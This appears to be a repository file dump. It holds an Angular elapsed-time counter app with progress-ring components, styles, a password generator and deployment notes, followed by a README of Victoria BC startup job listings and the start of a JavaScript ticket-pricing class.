{ color: '#6578fd', percentage: 57 },
// { color: '#65fda9', percentage: 25 }
];
dayList: ProgressDataModel[] = [];
hourList: ProgressDataModel[] = [];
minuteList: ProgressDataModel[] = [];
secondList: ProgressDataModel[] = [];
ngOnInit(): void {
this.initial = moment('2020-03-22 22:45:00.000');
this.calculate();
setInterval(_ => this.calculate(), 30);
}
calculate(): void {
const current = this.getCurrentMoment();
this.months = current.diff(this.initial, 'months');
this.days = current.diff(this.initial, 'days');
this.hours = current.diff(this.initial, 'hours');
this.minutes = current.diff(this.initial, 'minutes');
this.seconds = current.diff(this.initial, 'seconds');
this.monthList = this.calculateProgress(this.months, 'months');
this.dayList = this.calculateProgress(this.days, 'days');
this.hourList = this.calculateProgress(this.hours, 'hours');
this.minuteList = this.calculateProgress(this.minutes, 'minutes');
this.secondList = this.calculateProgress(this.seconds, 'seconds');
// this.monthsProgress = this.getPercentage();
// console.log('P', this.monthsProgress);
// this.monthList[1].percentage = this.monthList[1].percentage + 10;
// this.monthList[0].percentage = this.monthList[0].percentage + 0;
// this.monthList = [
// ...this.monthList
// ];
}
private getCurrentMoment(): moment.Moment {
return moment();
// return moment('2020-04-22 23:47:15.546');
}
private calculateProgress(currentCounter: number, unit: moment.unitOfTime.DurationConstructor): ProgressDataModel[] {
return [
{ color: '#ff3737', percentage: this.getPercentageForZeros(currentCounter, 0, unit) },
{ color: '#65fda9', percentage: this.getPercentageForZeros(currentCounter, 1, unit) },
{ color: '#6578fd', percentage: this.getPercentageForZeros(currentCounter, 2, unit) },
{ color: '#fbff12', percentage: this.getPercentageForNext(currentCounter, unit) }
];
}
private getPercentageForNext(currentCounter: number, unit: moment.unitOfTime.DurationConstructor): number {
const startIntervalMoment = moment(this.initial).add(currentCounter, unit);
const endIntervalMoment = moment(this.initial).add(currentCounter + 1, unit);
const current = this.getCurrentMoment();
const total = endIntervalMoment.diff(startIntervalMoment, 'millisecond');
const pass = current.diff(startIntervalMoment, 'millisecond');
return (pass / total) * 100;
}
private getPercentageForZeros(currentCounter: number, st: number, unit: moment.unitOfTime.DurationConstructor): number {
if (currentCounter.toString().length - 1 < st) {
return 0;
}
const maxDigit = Number(currentCounter.toString()[st]);
let next = maxDigit + 1;
for (const x of Array(currentCounter.toString().length - 1 - st).keys()) {
next = next * 10;
}
let prev = 1;
if (currentCounter > 1) {
prev = maxDigit === 0
? 9
: maxDigit;
const toIter = maxDigit === 0 ? currentCounter.toString().length - 2 - st : currentCounter.toString().length - 1 - st;
if (toIter > 0) {
for (const x of Array(toIter).keys()) {
prev = prev * 10;
}
} else {
return 0;
}
}
const startIntervalMoment = moment(this.initial).add(prev, unit);
const endIntervalMoment = moment(this.initial).add(next, unit);
const current = this.getCurrentMoment();
const total = endIntervalMoment.diff(startIntervalMoment, 'millisecond');
const pass = current.diff(startIntervalMoment, 'millisecond');
const result = (pass / total) * 100;
return result;
}
}
<file_sep>.menu {
display: flex;
flex-direction: column;
margin: 15px 0;
.row {
display: flex;
flex-direction: row;
justify-content: space-evenly;
a {
text-decoration: none;
color: #1e55b9;
padding: 7px 15px;
border: 1px solid #1e55b9;
border-radius: 5px;
min-width: 90px;
text-align: center;
}
a.active {
background-color: #040f33;
color: #92b1ea;
}
}
}<file_sep>ng build --prod --output-hashing=all
/etc/nginx/conf.d/default.conf
/var/www/html/mv
deploy by dropbox
wget -O mv.zip https://db.com/adhsfghh
unzip mv.zip -d destination_folder
Что-бы отключить аналитику гугла, необходимо выполнить комманду
ng analytics project off
Используемый здесь шрифт
https://sourcefoundry.org/hack/<file_sep>.block {
display: flex;
flex-direction: column;
max-width: 800px;
color: #f68c0e;
@media only screen and (max-width: 800px) {
max-width: none;
}
margin-top: 25px;
> .label {
width: 150px;
a {
text-decoration: underline;
color: blue;
cursor: pointer;
}
}
> .value {
flex: 1;
font-size: 48px;
text-align: right;
}
> .value.pwd {
font-size: 30px;
}
}<file_sep>export interface ProgressDataModel {
color: string;
percentage: number;
}
<file_sep>import { Component, Input, OnChanges } from '@angular/core';
import { ProgressDataModel } from '../models/progress-data.model';
@Component({
selector: 'app-cp-bar',
templateUrl: './cp-bar.component.html',
styleUrls: ['./cp-bar.component.scss']
})
export class CpBarComponent implements OnChanges {
@Input()
scale = 1;
@Input()
size = 45;
@Input()
strokeSize = 3;
@Input()
progressList: ProgressDataModel[];
list: ProgressCircle[];
transformValue: string;
ngOnChanges(): void {
this.transformValue = `scale(${this.scale})`;
this.list = this.progressList.map((p, index) => {
const result = {
progress: p,
radius: this.getRadius(index),
circumference: this.getRadius(index) * 2 * Math.PI
} as ProgressCircle;
result.offset = result.circumference - p.percentage / 100 * result.circumference;
result.strokeDasharray = `${result.circumference} ${result.circumference}`;
result.strokeDashoffset = `${result.circumference}`;
return result;
});
}
private getRadius(index: number): number {
return (this.size - this.strokeSize * 2.5 * index) / 2 - this.strokeSize / 2;
}
}
interface ProgressCircle {
progress: ProgressDataModel;
radius: number;
circumference: number;
offset: number;
strokeDasharray: string;
strokeDashoffset: string;
}
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { CounterPageComponent } from './counter/counter-page/counter-page.component';
import { PwdPageComponent } from './pwd-page/pwd-page.component';
const routes: Routes = [
{ path: '', component: CounterPageComponent },
{ path: 'pwd', component: PwdPageComponent },
{ path: '**', redirectTo: '/', pathMatch: 'full' }
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-pwd-page',
templateUrl: './pwd-page.component.html',
styleUrls: ['./pwd-page.component.scss']
})
export class PwdPageComponent {
password: string;
generatePassword(): void {
const a: any[] = [0, 1, 2];
a.forEach((_, i) => a[i] = Math.random().toString(36).slice(5, 10));
this.password = <PASSWORD>]}`;
this.copyToClipboard(this.password);
}
copyToClipboard(val: string) {
const selBox = document.createElement('textarea');
selBox.style.position = 'fixed';
selBox.style.left = '0';
selBox.style.top = '0';
selBox.style.opacity = '0';
selBox.value = val;
document.body.appendChild(selBox);
selBox.focus();
selBox.select();
document.execCommand('copy');
document.body.removeChild(selBox);
}
}
<file_sep>.counter-list {
margin-top: 45px;
color: #f68c0e;
display: flex;
flex-direction: column;
.row {
display: flex;
flex-direction: row;
justify-content: space-between;
margin: 20px 20px;
padding: 5px 25px;
border-radius: 8px;
background-color: #1f2025;
> .counter-block {
text-align: right;
.label {
font-size: 12px;
color: #9e8c8c;
text-transform: uppercase;
}
.value {
font-weight: 500;
font-size: 34px;
}
}
> .indicator {
padding-top: 5px;
}
}
}
|
752bb531bdbebca870556113454fb4e76ef2e318
|
[
"SCSS",
"TypeScript",
"Text"
] | 9 |
SCSS
|
DonTomato/counter
|
6ff314ed1a50554326411ea0eca6a72294830a31
|
4aa40b15438c94aa9fdc6e33ea28ddda5c575c68
|
refs/heads/main
|
<file_sep># Victoria Startup Jobs
A well-maintained list of available startup jobs in Victoria BC. This list is currently managed by the [sendwithus](http://sendwithus.com/about) team, and all contributions are welcome (and free!).
[Have ideas to make this better?](mailto:<EMAIL>)
[Tweet about us!][tweet-link]
[](https://travis-ci.org/sendwithus/vic-startup-jobs)
### How to Apply?
Click the link for more info about each job posting, including how to apply. Most companies provide application instructions on their websites.
### How to Post?
Posting is easy and free, simply fork this repo and submit a pull request adding/updating your job posting. Avoid generic "call for resumes" and prefer specific job postings. If you have questions, need help, or want us to update the list for you, please email <EMAIL>.
Note that there is a CI hook that runs after PR creation that checks for any 404s links on this page. You can run it manually prior to pushing:
```
link_checker/check.sh README.md
```
Running it before pushing up to Github allows you to remove broken job links from the list in addition to updating your own job postings. More info on the [associated README](/link_checker/README.md)
### Who can post?
Tech startups with offices in Victoria BC.
### What about Co-Op & Intern Friendly Companies?
Companies that are known for hiring/placing co-op students and interns will have a `(👩💻 Co-Op / Intern Friendly)` following their name. These companies are always open to discussing opportunities for students and aspiring developers, designers, and marketers.
### How can I get involved in the Victoria tech community?
* Connect with the Victoria tech community by joining the [YYJ Tech Slack group](https://joinyyjtechslack.herokuapp.com/)
* Connect with the Victoria ladies tech community by joining the [YYJ Tech Ladies Slack group](http://yyjtechladies.com/). Please note that this group is for anyone who is female.
## Current Job Openings
Keep in mind that companies may have job postings on their own site that are not listed here - you should visit them and look for opportunities. Also, many companies are open to being contacted directly about opportunities, even if it's only to keep your resume on file.
#### [Advanced Solutions](https://dxcas.com/index.php/careers/current-opportunities)
* [Senior UI/UX Designer](https://dxcas.com/images/DXCAS/Careers/pdf/IS27_Senior_UI_UX_Designer_JP_May21.pdf)
* [OpenVMS Admin](https://dxcas.com/images/DXCAS/Careers/pdf/IS24_OpenVMSAdministrator_JP.pdf)
#### [AlayaCare](https://www.alayacare.com/)
* [Full Stack Developer](https://boards.greenhouse.io/alayacare/jobs/5362187002)
* [Senior Full Stack Developer](https://boards.greenhouse.io/alayacare/jobs/5348776002)
* [Engineering Manager](https://boards.greenhouse.io/alayacare/jobs/5450972002)
* [Senior SRE Manager](https://boards.greenhouse.io/alayacare/jobs/5423932002)
#### [AltFee](https://altfeeco.com/)
#### [Animikii](https://www.animikii.com/?utm_source=careers&utm_medium=website&utm_campaign=quote_contact&utm_content=logo)
* [Web Developer & Designer](https://www.animikii.com/about/careers/web-designer-developer)
* [Senior Full Stack Web Developer](https://www.animikii.com/about/careers/senior-full-stack-web-developer)
* [Intermediate Full Stack Developer](https://www.animikii.com/about/careers/intermediate-full-stack-web-developer)
* [Partnerships Coordinator](https://www.animikii.com/about/careers/partnerships-coordinator)
* [Product Manager](https://www.animikii.com/about/careers/product-manager)
#### [Appreciation Engine](https://get.theappreciationengine.com/) (👩💻 Co-Op / Intern Friendly)
#### [Atomic Crayon](http://www.atomiccrayon.com/)
* [Full-Stack Web Developer](https://atomiccrayon.com/career-opportunities#job1)
#### [Audette](https://www.audette.io/)
#### [Avalanche Insights](https://www.avalancheinsights.com/)
* [Software Engineer](https://jobs.lever.co/AvalancheInsights/444f2d11-9d06-4d53-8f2f-33031d2fe018)
* [Product Designer](https://jobs.lever.co/AvalancheInsights/684c38c1-9dca-4741-9e16-ca739e8e5c4f)
#### [Bambora North America](https://www.bambora.com/en/ca/) (👩💻 Co-Op / Intern Friendly)
#### [Barnacle Systems](https://brnkl.io/) (👩💻 Co-Op / Intern Friendly)
#### [BCDevExchange](https://www2.gov.bc.ca/gov/content/careers-myhr/job-seekers/current-job-postings)
#### [Benevity](https://www.benevity.com/)
* [Data Platform Developer](https://www.benevity.com/job-postings?gh_jid=4126023004)
* [Director, Client Success Operations](https://www.benevity.com/job-postings?gh_jid=4126030004)
* [Enablement Advisor](https://www.benevity.com/job-postings?gh_jid=4137977004)
* [Product Marketing Specialist](https://www.benevity.com/job-postings?gh_jid=4127089004)
* [Talent Acquistion Specialist](https://www.benevity.com/job-postings?gh_jid=4135714004)
* [Talent Sourcing Specialist](https://www.benevity.com/job-postings?gh_jid=4135648004)
* [Intermediate Product Designer](https://www.benevity.com/job-postings?gh_jid=4124869004)
* [Senior Software Developer](https://www.benevity.com/job-postings?gh_jid=4144705004)
* [Software Developer](https://www.benevity.com/job-postings?gh_jid=4127096004)
* [Integration Software Developer](https://www.benevity.com/job-postings?gh_jid=4147584004)
* [Tech Lead, Identity and Access Management](https://benevity.bamboohr.com/jobs/view.php?id=660&source=benevity)
#### [BGC Engineering](https://bgcengineering.ca/careers/)
#### [Certn](https://certn.co/) (👩💻 Co-Op / Intern Friendly)
* [Compliance Specialist](https://certn.co/job/compliance-specialist/)
* [Director of Quality](https://certn.co/job/director-of-quality/)
* [Customer Support Specialist](https://certn.co/job/customer-support-specialist/)
* [Verifications Specialist](https://certn.co/job/verifications-specialist/)
#### [Change.org](https://www.change.org/careers) (👩💻 Co-Op / Intern Friendly)
* [Engineering Manager](https://careers.change.org/?gh_jid=4746619003)
* [Senior Data Engineer](https://careers.change.org/?gh_jid=4408380003)
#### [Checkfront](https://www.checkfront.com/careers) (👩💻 Co-Op / Intern Friendly)
* [Development Team Lead](https://checkfront.bamboohr.com/jobs/view.php?id=120)
* [Intermediate Software Developer](https://checkfront.bamboohr.com/jobs/view.php?id=118)
* [Billing Specialist](https://checkfront.bamboohr.com/jobs/view.php?id=126)
* [Sr Growth Manager, Experimentation & Monetization](https://checkfront.bamboohr.com/jobs/view.php?id=124)
* [Junior People & Culture Partner](https://checkfront.bamboohr.com/jobs/view.php?id=127)
* [People & Culture Partner](https://checkfront.bamboohr.com/jobs/view.php?id=125)
#### [Codename Entertainment](http://www.codenameentertainment.com/) (👩💻 Co-Op / Intern Friendly)
* [Game Systems Designer](http://www.codenameentertainment.com/?page=jobs)
* [2D Artist](http://www.codenameentertainment.com/?page=jobs)
* [Junior Game Developer](http://www.codenameentertainment.com/?page=jobs)
* [Quality Assurance Technical Analyst](http://www.codenameentertainment.com/?page=jobs)
#### [Covault](https://covaultapp.com/)
#### [Crowdcontent](https://www.crowdcontent.com/)
* [Senior Developer](https://www.crowdcontent.com/senior-developer/)
* [Co-op Developer](https://www.crowdcontent.com/coop-developer/)
* [Sales Administrator Co-op](https://www.crowdcontent.com/sales-administrator-co-op/)
* [Account Executive](https://www.crowdcontent.com/current-openings-account-executive/)
* [Editorial Content Manager](https://www.crowdcontent.com/editorial-content-manager/)
#### [Cuboh](https://www.cuboh.com/careers) (👩💻 Co-Op / Intern Friendly)
* [Digital Sales Representative](https://cubohcareers.humi.ca/job-board/sales/5846)
* [DevOps Engineer](https://secure.collage.co/jobs/cuboh/19925)
* [Onboarding Specialist](https://cubohcareers.humi.ca/job-board/customer%20success/7841)
* [People Ops Generalist](https://cubohcareers.humi.ca/job-board/people%20operations/7977)
* [Full Stack Developer](https://cubohcareers.humi.ca/job-board/technology/6717)
#### [Disco Studio](https://www.discostudio.ca/)
* [Senior User Experience Designer (coming soon!)(https://www.discoinnovation.com/careers/)
#### [DropCommerce](https://www.dropcommerce.com/)
#### [Dynamic Solutions](https://www.dynamic-solutions.com/)
#### [Dyspatch (formerly Sendwithus)](https://www.dyspatch.io/) (👩💻 Co-Op / Intern Friendly)
* [Content Writer](https://jobs.lever.co/dyspatch/7fe4b699-08b2-49c5-b02b-bff4d3771c46)
#### [Echosec](https://www.echosec.net/) (👩💻 Co-Op / Intern Friendly)
* [Backend Developer](https://echosec.breezy.hr/p/8b345790c7ed-backend-developer-platform)
#### [Eterio Realities](https://www.eterio.ca/careers/) (👩💻 Co-Op / Intern Friendly)
#### [Expeto](http://expeto.io/)
* [Senior Technical Support Engineer](https://expetowireless.recruitee.com/o/senior-technical-support-engineer)
* [Technical Solutions Engineer](https://expetowireless.recruitee.com/o/technical-solutions-engineer)
* [Software Engineer](https://expetowireless.recruitee.com/o/software-engineer-vancouver)
#### [Falcon Software](https://www.falcon-software.com/)
* [Web Project Manager](https://www.falcon-software.com/About-Us/Job-Postings/Web-Project-Manager)
* [Front-end Developer UI/UX Web Designer](https://www.falcon-software.com/career-opportunities/front-end-developer)
#### [Flow](https://www.getflow.com/)
#### [Fluorescent Design Inc.](https://fluorescent.co/)
#### [Flytographer](https://www.flytographer.com/) (👩💻 Co-Op / Intern Friendly)
* [Customer Experience Team Lead](https://www.flytographer.com/jobs/#customer-success-manager)
* [Customer Experience Specialist](https://www.flytographer.com/jobs/#shoot-concierge)
* [Technical Lead](https://www.flytographer.com/jobs/#tech-lead)
#### [Foundry Spatial](https://www.foundryspatial.com)
#### [FreshWorks Studio](https://freshworks.io/)
* [Senior Software Developer](https://hire.withgoogle.com/public/jobs/freshworksio/view/P_AAAAAAEAAEbOKc2QnaicN9)
* [Full Stack Developer](https://hire.withgoogle.com/public/jobs/freshworksio/view/P_AAAAAAEAAADN8jmnPJ9_Rl)
* [Software Developer](https://boards.greenhouse.io/freshworksstudioinc/jobs/4457306003)
* [iOS Developer](https://boards.greenhouse.io/freshworksstudioinc/jobs/4083116003)
* [Android Developer](https://boards.greenhouse.io/freshworksstudioinc/jobs/4126046003)
* [Node Developer](https://boards.greenhouse.io/freshworksstudioinc/jobs/4413245003)
* [QA Analyst - Manual Tester](https://boards.greenhouse.io/freshworksstudioinc/jobs/4704458003)
* [Principle Engineer - Victoria](https://boards.greenhouse.io/freshworksstudioinc/jobs/4431039003)
* [Technical Consultant](https://boards.greenhouse.io/freshworksstudioinc/jobs/4269018003)
* [Technical Project Manager](https://boards.greenhouse.io/freshworksstudioinc/jobs/4083364003)
* [Technical Project Lead](https://boards.greenhouse.io/freshworksstudioinc/jobs/4531042003?t=f5b7abf03us)
* [Product Analyst](https://boards.greenhouse.io/freshworksstudioinc/jobs/4306206003)
* [Business Analyst](https://boards.greenhouse.io/freshworksstudioinc/jobs/4413244003)
* [Senior Business Analyst](https://boards.greenhouse.io/freshworksstudioinc/jobs/4413247003)
* [Senior Project Manager](https://boards.greenhouse.io/freshworksstudioinc/jobs/4531039003)
* [Technical Account Manager](https://boards.greenhouse.io/freshworksstudioinc/jobs/4531031003)
* [Scrum Manager](https://boards.greenhouse.io/freshworksstudioinc/jobs/4531046003)
* [UX Lead](https://boards.greenhouse.io/freshworksstudioinc/jobs/4413246003)
* [Pre-sales Specialist](https://boards.greenhouse.io/freshworksstudioinc/jobs/4206340003)
* [Marketing & Communications Specialist](https://boards.greenhouse.io/freshworksstudioinc/jobs/4740704003)
* [Global Talent Acquisition](https://boards.greenhouse.io/freshworksstudioinc/jobs/4770239003)
* [Technical Recruiter](https://boards.greenhouse.io/freshworksstudioinc/jobs/4452425003)
* [Financial Analyst](https://boards.greenhouse.io/freshworksstudioinc/jobs/4747295003)
#### [Gearbox Development](https://gearboxbuilt.com/)
#### [Giftbit](https://giftbit.bamboohr.com/jobs/) (👩💻 Co-Op / Intern Friendly)
#### [Hipster Bait](https://hipsterbait.com/about)
* [Android Developer : Java](https://www.onenetinc.com/careers/mobile-developer-java-remote)
#### [Hololabs](https://www.hololabs.org/) (👩💻 Co-Op / Intern Friendly)
#### [Isolation Network](https://www.isolationnetwork.com/) (👩💻 Co-Op / Intern Friendly)
* [DevOps Engineer](https://jobs.jobvite.com/universalmusicgroup/job/o13LffwO)
* [Lead Data Engineer](https://jobs.jobvite.com/universalmusicgroup/job/oxjYffwN)
* [Backend Developerr](https://jobs.jobvite.com/universalmusicgroup/job/oauhhfwW)
#### [Kano](https://www.kanoapps.com/) (👩💻 Co-Op / Intern Friendly)
* [Facebook Ad Specialist - Games](https://kanoapps.bamboohr.com/jobs/view.php?id=56)
* [Director, Growth Marketing](https://kanoapps.bamboohr.com/jobs/view.php?id=68&source=aWQ9Ng%3D%3D)
* [Data Analyst](https://kanoapps.bamboohr.com/jobs/view.php?id=73)
* [HR & Office Coordinator](https://kanoapps.bamboohr.com/jobs/view.php?id=76&source=aWQ9Ng%3D%3D)
* [Customer (Player) Success Representative](https://kanoapps.bamboohr.com/jobs/view.php?id=83&source=aWQ9Ng%3D%3D)
#### [KIXEYE Canada Ltd](https://www.kixeye.com/)
* [Senior Project Manager](https://kixeye.bamboohr.com/jobs/view.php?id=31)
* [Senior Software Developer](https://kixeye.bamboohr.com/jobs/view.php?id=36)
#### [Latitude Geographics](http://www.latitudegeo.com/) (👩💻 Co-Op / Intern Friendly)
* [Intermediate/Career Software Developer](https://vertigis.bamboohr.com/jobs/view.php?id=109)
* [Director of Sales, North America](https://vertigis.bamboohr.com/jobs/view.php?id=102)
* [Junior/Intermediate Systems Administrator](https://vertigis.bamboohr.com/jobs/view.php?id=126)
* [Technical Support Analyst](https://vertigis.bamboohr.com/jobs/view.php?id=97)
* [DevOps Engineer](https://vertigis.bamboohr.com/jobs/view.php?id=80)
* [Implementation and Software Developer](https://vertigis.bamboohr.com/jobs/view.php?id=125)
#### [Leap XD](https://www.leapxd.com)
#### [LlamaZOO](https://www.llamazoo.com/) (👩💻 Co-Op / Intern Friendly)
* [Unity Tech Lead](https://llamazoo.com/unity-tech-lead/)
* [Junior Data Developer](https://llamazoo.com/junior-data-developer/)
* [Unity Developer](https://llamazoo.com/unity-developer/)
#### [MazumaGo](https://www.mazumago.com/)
* [Full Stack Developer](https://www.onenetinc.com/careers/full-stack-developer)
#### [MetaLab](https://metalab.co/) (👩💻 Co-Op / Intern Friendly)
* [Design Lead](https://www.metalab.com/careers/design-lead)
* [Client Partner](https://boards.greenhouse.io/metalab/jobs/3107262)
* [Producer](https://boards.greenhouse.io/metalab/jobs/3052000)
* [Product Management Lead ](https://boards.greenhouse.io/metalab/jobs/3569983)
* [Product Director](https://boards.greenhouse.io/metalab/jobs/3464527)
* [Senior Systems Administrator](https://boards.greenhouse.io/metalab/jobs/3489430)
* [Senior iOS Developer](https://boards.greenhouse.io/metalab/jobs/3479832)
* [Engineering Lead](https://www.metalab.com/careers/engineering-lead)
* [Senior Web Developer](https://boards.greenhouse.io/metalab/jobs/2986532)
* [Resourcing Manager, 1-year contract](https://boards.greenhouse.io/metalab/jobs/3330858)
* [Partnerships Coordinator](https://boards.greenhouse.io/metalab/jobs/3236246)
* [Brand Designer](https://boards.greenhouse.io/metalab/jobs/3229311)
* [UX Researcher](https://boards.greenhouse.io/metalab/jobs/2986482)
* [Product Manager](https://boards.greenhouse.io/metalab/jobs/3570033)
#### [Momentum Dashboard](https://momentumdash.com/) (👩💻 Co-Op / Intern Friendly)
* [Back-End Developer](https://momentumdash.com/careers/#back-end-developer)
* [Front-End Developer](https://momentumdash.com/careers/#front-end-developer)
* [Full Stack Developer](https://momentumdash.com/careers/#full-stack-developer)
#### [MonetizeMore](https://www.monetizemore.com/)
* [Web Developer (fully remote)](https://monetizem.applytojob.com/apply/yPcQkE/Remote-Web-Developer)
#### [NetMotion](https://www.netmotionsoftware.com)
* [DevOps Engineer](https://www.netmotionsoftware.com/culture-values-careers?p=job%2FonU5gfwm)
#### [North Robotics](http://www.northrobotics.com)
#### [OneFeather](https://www.onefeather.ca/)
* [Full Stack Developer](https://onefeather.humi.ca/job-board/developer/8165)
#### [One Net Inc](https://www.onenetinc.com/crew#Careers)
* [Web Designer / Webflow Designer](https://www.onenetinc.com/careers/web-designer-webflow-designer)
* [Website Project Manager](https://www.onenetinc.com/careers/website-project-manager)
* [Executive Assistant](https://www.onenetinc.com/careers/executive-assistant)
* [Agency Copywriter](https://www.onenetinc.com/careers/agency-copywriter)
* [Digital Producer](https://www.onenetinc.com/careers/digital-producer)
#### [Pixel Union](https://pixelunion.net/)
* [App Developer](https://apply.workable.com/pixel-union/j/320F7081AF/)
* [Support Specialist](https://apply.workable.com/pixel-union/j/4A47F4ADE0/)
* [Senior Product Manager](https://apply.workable.com/pixel-union/j/8F355BF79D/)
#### [Plurilock](https://www.plurilock.com/) (👩💻 Co-Op / Intern Friendly)
* [HR Manager](https://plurilock.breezy.hr/p/8d74e1824b65-human-resources-manager)
* [Content Writer](https://plurilock.breezy.hr/p/9c23b26be223-content-writer)
* [Identity Access Management (IAM) Engineer](https://plurilock.breezy.hr/p/ba105c1160e3-identity-access-management-iam-engineer)
* [Product Owner](https://plurilock.breezy.hr/p/208016acc4a8-product-owner)
* [Lead Generation Manager](https://plurilock.breezy.hr/p/a811934902ae-lead-generation-manager)
* [Security Engineer](https://plurilock.breezy.hr/p/4fbee859625e-security-engineer)
* [Solutions Architect](https://plurilock.breezy.hr/p/9b967897e343-solutions-architect)
#### [Pretio Interactive](https://www.pretio.in/) (👩💻 Co-Op / Intern Friendly)
#### [RaceRocks 3D](https://racerocks3d.ca/)
* [Growth Manager](https://racerocks3d.humi.ca/job-board/business+development/7607)
#### [Redbrick](https://rdbrck.com/) (👩💻 Co-Op / Intern Friendly)
* [Senior Full-Stack Developer](https://rdbrck.bamboohr.com/jobs/view.php?id=83) t
* [Full-Stack Developer](https://recruiterflow.com/db_1eeb8dae16f2ad6de5a11a5477873745/jobs/177)
* [Senior Software Engineering Manager](https://recruiterflow.com/db_1eeb8dae16f2ad6de5a11a5477873745/jobs/179)
* [Senior Application Developer](https://rdbrck.bamboohr.com/jobs/view.php?id=114)
* [Senior Engineering Manager](https://rdbrck.bamboohr.com/jobs/view.php?id=105)
* [Cloud Engineer](https://rdbrck.bamboohr.com/jobs/view.php?id=103)
* [Social Media & Marketing Coordinator](https://rdbrck.bamboohr.com/jobs/view.php?id=113)
* [Senior Copywriter](https://rdbrck.bamboohr.com/jobs/view.php?id=115)
* [Media Buyer](https://rdbrck.bamboohr.com/jobs/view.php?id=106)
* [Customer Success Specialist](https://rdbrck.bamboohr.com/jobs/view.php?id=91)
#### [Redlen Technologies](https://redlen.com/) (👩💻 Co-Op / Intern Friendly)
#### [Regroove](https://regroove.ca) (👩💻 Co-Op / Intern Friendly)
* [Cloud Solutions Consultant](https://regroove.ca/careers/cloud-solutions-consultant/)
* [Project Manager](https://regroove.ca/careers/project-manager-regroove/)
#### [Revela Systems](https://www.revela.io/)
#### [RingPartner](https://ringpartner.com/) (👩💻 Co-Op / Intern Friendly)
* [Admin Assistant](https://ringpartner.humi.ca/job-board/marketing/7960)
#### [Rooof](https://www.rooof.com) (👩💻 Co-Op / Intern Friendly)
#### [SaaSquatch](https://www.saasquatch.com/) (👩💻 Co-Op / Intern Friendly)
* [Account Executive - MarTech](https://www.saasquatch.com/careers/)
* [SaaSquatch Solutions Architect](https://www.saasquatch.com/careers/)
* [Software Engineer, Integrations and Microservices](https://www.saasquatch.com/careers/)
* [Project Manager - Customer Launch](https://www.saasquatch.com/careers/)
#### [Semaphore](https://semaphoresolutions.com/)
* [Senior Software Developer](https://jobs.lever.co/semaphoresolutions/134fb46b-0e60-4991-8e08-6f8ff9bcac39)
* [Full Stack Python Developer, Intermediate/Senior](https://jobs.lever.co/semaphoresolutions/36672a89-434f-4b58-a437-7b1eb3800e13)
* [Intermediate Software Developer](https://jobs.lever.co/semaphoresolutions/3e77b570-9e7f-489d-8693-fcc01534b390)
* [Frontend Developer, React](https://jobs.lever.co/semaphoresolutions/35c2d0c4-09d6-4eaf-93f8-4a41c8d494db)
* [Software Developer in Test](https://jobs.lever.co/semaphoresolutions/4c2480b8-0cd4-4126-b047-68bb1fcddf09)
#### [SendtoNews](https://www.sendtonews.com/)
#### [SparkLIT](https://www.sparklit.com/)
* [Intermediate Software Engineer, Full Stack](https://www.sparklit.com/careers/#full-stack)
* [Intermediate/Senior Front End Developer](https://www.sparklit.com/careers/#front-end)
#### [SilkStart](https://silkstart.com/about/)
* [Customer Success Specialist](https://silkstart.com/careers/)
* [Inside Sales](https://silkstart.com/careers/)
#### [Starfish Medical](https://starfishmedical.com/) (👩💻 Co-Op / Intern Friendly)
* [Digital Marketing Specialist](https://starfishmedical.com/jobs/digital-marketing-specialist/)
* [Admin Assistant - Product Development](https://starfishmedical.com/jobs/administrative-assistant-product-development/)
* [Admin Assistant](https://starfishmedical.com/jobs/administrative-assistant-3/)
* [Senior Software Engineer](https://starfishmedical.com/jobs/senior-software-engineer-3/)
* [Software Engineer](https://starfishmedical.com/jobs/software-engineer-2/)
#### [Stocksy United](https://www.stocksy.com/)
* [User Researcher](https://www.stocksy.com/service/hiring)
* [Marketing Director](https://www.stocksy.com/service/hiring)
#### [Super Good Software](https://supergood.software)
* [Senior Developer](https://supergood.software/careers/senior-developer)
* [Intermediate Developer](https://supergood.software/careers/intermediate-developer)
#### [Swiss Vault Systems](https://swissvault.global/) (👩💻 Co-Op / Intern Friendly)
#### [Tango Financial](https://tangofinancial.ca/) (👩💻 Co-Op / Intern Friendly)
#### [Tapstream](https://tapstream.com/)
#### [Telmediq](https://www.telmediq.com/) (👩💻 Co-Op / Intern Friendly)
#### [The Number](https://thenumber.ca/)
#### [Tutela](https://www.tutela.com/)
* [Intermediate DevOps](https://tut.bamboohr.com/jobs/view.php?id=73)
#### [VitaminLab](https://getvitaminlab.com/)
#### [Virtual CFO](https://www.virtualcfo.ca/)
#### [Vivid Solutions](https://www.vividsolutions.com/)
* [Full Stack Developer](https://vividsolutions.bamboohr.com/jobs/view.php?id=13)
* [Quality Assurance Analyst](https://vividsolutions.bamboohr.com/jobs/view.php?id=12)
* [Senior Project Manager](https://vividsolutions.bamboohr.com/jobs/view.php?id=15&source=vividsolutions)
#### [Watershed Partners](https://watershed.co/careers/)
#### [White Ops](https://www.whiteops.com/)
#### [Workday](https://www.workday.com/en-us/company/careers/open-positions.html#?q=&location=BC,%20Canada) (👩💻 Co-Op / Intern Friendly)
* [Software Development Engineer – Knowledge Management UI](https://workday.wd5.myworkdayjobs.com/en-US/Workday/job/Canada-BC-Victoria/Software-Development-Engineer---Knowledge-Management_JR-46522)
* [Manager, Technical Program Managemen](https://workday.wd5.myworkdayjobs.com/en-US/Workday/job/Canada-BC-Victoria/Manager--Technical-Program-Management_JR-49818)
---
### Share this job board with others!
[Tweet about us!][tweet-link]
[tweet-link]: https://twitter.com/intent/tweet?text=I%20found%20a%20job%20on%20the%20Victoria%20Startup%20Jobs%20repo!&via=victoriastartup&url=https%3A%2F%2Fgithub.com/sendwithus/vic-startup-jobs
|
f51c48392e1e3ddc5e2568ecf61f256804ad7980
|
[
"Markdown"
] | 1 |
Markdown
|
My-Temple/vic-startup-jobs
|
581ed0c2b44c7ab111d243c08669f9020fe26840
|
7eff71bd2e9ed2207fd3f7aadc2eadae83a0f1d6
|
refs/heads/main
|
<repo_name>Dima-lang51/ticketTest<file_sep>/js/app.js
const button = document.querySelector('.button');
class Tariff {
constructor(options) {
this.type = options.type;
this.priceKm = options.priceKm; //стоимость км
this.maxKg = options.maxKg; //макс вес багажа
this.freeBag = options.freeBag; //бесплатный вес
this.ageChild = options.ageChild; //возраст ребенка
this.discountChild = options.discountChild; //скидка за ребенка
}
calcDistancePrice(distance, age){
let distancePrice = distance * this.priceKm;
if (this.ageChild !== null && this.discountChild !== null) {
if (age <= this.ageChild) {
